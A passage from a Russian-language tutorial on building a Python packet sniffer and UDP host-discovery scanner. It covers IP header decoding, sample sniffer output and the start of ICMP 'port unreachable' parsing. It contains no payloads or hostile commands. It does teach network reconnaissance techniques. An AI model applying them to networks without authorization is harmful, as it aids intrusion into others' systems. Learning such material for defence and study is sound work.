байт полученного буфера в дружелюбный IP-заголовок. Вы видите, что все поля, которые мы нашли соответствуют структуре С.
__new__ метод IP-класса занимает место в сыром буфере
(в данном случае, это то, что мы получили в сети) и формирует из него структуру. Когда вызывается метод
__init__ , __new__ уже завершил обработку буфера. В
__init__ мы просто проводим небольшие процедуры, чтобы получить читабельные входные данные для используемого протокола и IP-адресов .

С нашей совершенно новой IP-структурой, мы вводим логику, чтобы непрерывно считывать пакеты и парсить информацию. Первый шаг — это считывание пакета и затем передача

первых 20 байт для инициализации нашей IP-структуры. Затем, просто распечатываем

информацию, которую мы получили . Давайте попробуем это сделать.


Проверка на деле
Давайте протестируем наш предыдущий код, чтобы посмотреть, какой тип информации мы получаем из отправленных сырых пакетов. Я настоятельно рекомендую провести этот тест на машине Windows, так как вы сможете увидеть TCP, UDP и ICMP, что позволит вам провести очень чистое тестирование (например, вы сможете открыть браузер). Если вы предпочитаете
Linux, тогда проведите пинг тест, чтобы посмотреть его в действии.
Откройте терминал и введите: python sniffer_ip_header_decode.py
Так как Windows отличается разговорчивостью, то вы, скорее всего, сразу же сможете увидеть исходящие данные. Я тестировал этот скрипт в Internet Explorer и собираюсь теперь на www.google.com
. Итак, вот наши данные от скрипта:
Protocol: UDP 192.168.0.190 ­> 192.168.0.1
Protocol: UDP 192.168.0.1 ­> 192.168.0.190
Protocol: UDP 192.168.0.190 ­> 192.168.0.187
Protocol: TCP 192.168.0.187 ­> 74.125.225.183
Protocol: TCP 192.168.0.187 ­> 74.125.225.183
Protocol: TCP 74.125.225.183 ­> 192.168.0.187
Protocol: TCP 192.168.0.187 ­> 74.125.225.183
Так как мы не проводим глубокое исследование этих пакетов, мы можем только догадываться, что означает этот поток. Я предполагаю, что первая пара UDP-пакетов — это запросы DNS для определения местоположения google.com. Последующие TCP сессии — это моя машина, соединяющаяся и скачивающая контент с и веб-сервера.
Для проведения аналогичного теста на Linux, мы можем пропинговать google.com и результаты будут примерно такими:
Protocol: ICMP 74.125.226.78 ­> 192.168.0.190
Protocol: ICMP 74.125.226.78 ­> 192.168.0.190
Protocol: ICMP 74.125.226.78 ­> 192.168.0.190
Вы уже сейчас можете заметить ограничения: мы видим только ответ и только для ICMP- протокола. Но так как мы намеренно создавали сканер обнаружения хоста, то это совершенно приемлемо. Теперь мы применим те же методы, которые использовали для расшифровки IP- заголовка, только для расшифровки ICMP-сообщений.

Расшифровка ICMP
Теперь, когда мы можем полностью расшифровать IP-слой любых анализируемых пакетов, мы должны суметь расшифровать ответы ICMP, которые наш получает наш сканер при отправке UDP датаграмм в закрытые порты. Сообщения ICMP могут иметь самое разное содержание, но все они имеют три одинаковых элемента: тип, код и поля контрольной суммы. Поля тип и код сообщают принимающему хосту, какой поступает тип ICMP сообщения и как правильно его расшифровывать.
В нашем случае, мы ищем тип со значением 3 и код со значением 3. Это соответствует классу
ICMP сообщений
Destination Unreachable
(адресат недоступен). Значение кода 3 указывает на ошибку
Port Unreachable
(порт недоступен). Посмотрите на Рис. 3-2, это таблица ICMP сообщения
Destination Unreachable.
Рис. 3-2. ICMP сообщение
1   2   3   4   5   6   7   8   9   ...   13


написать администратору сайта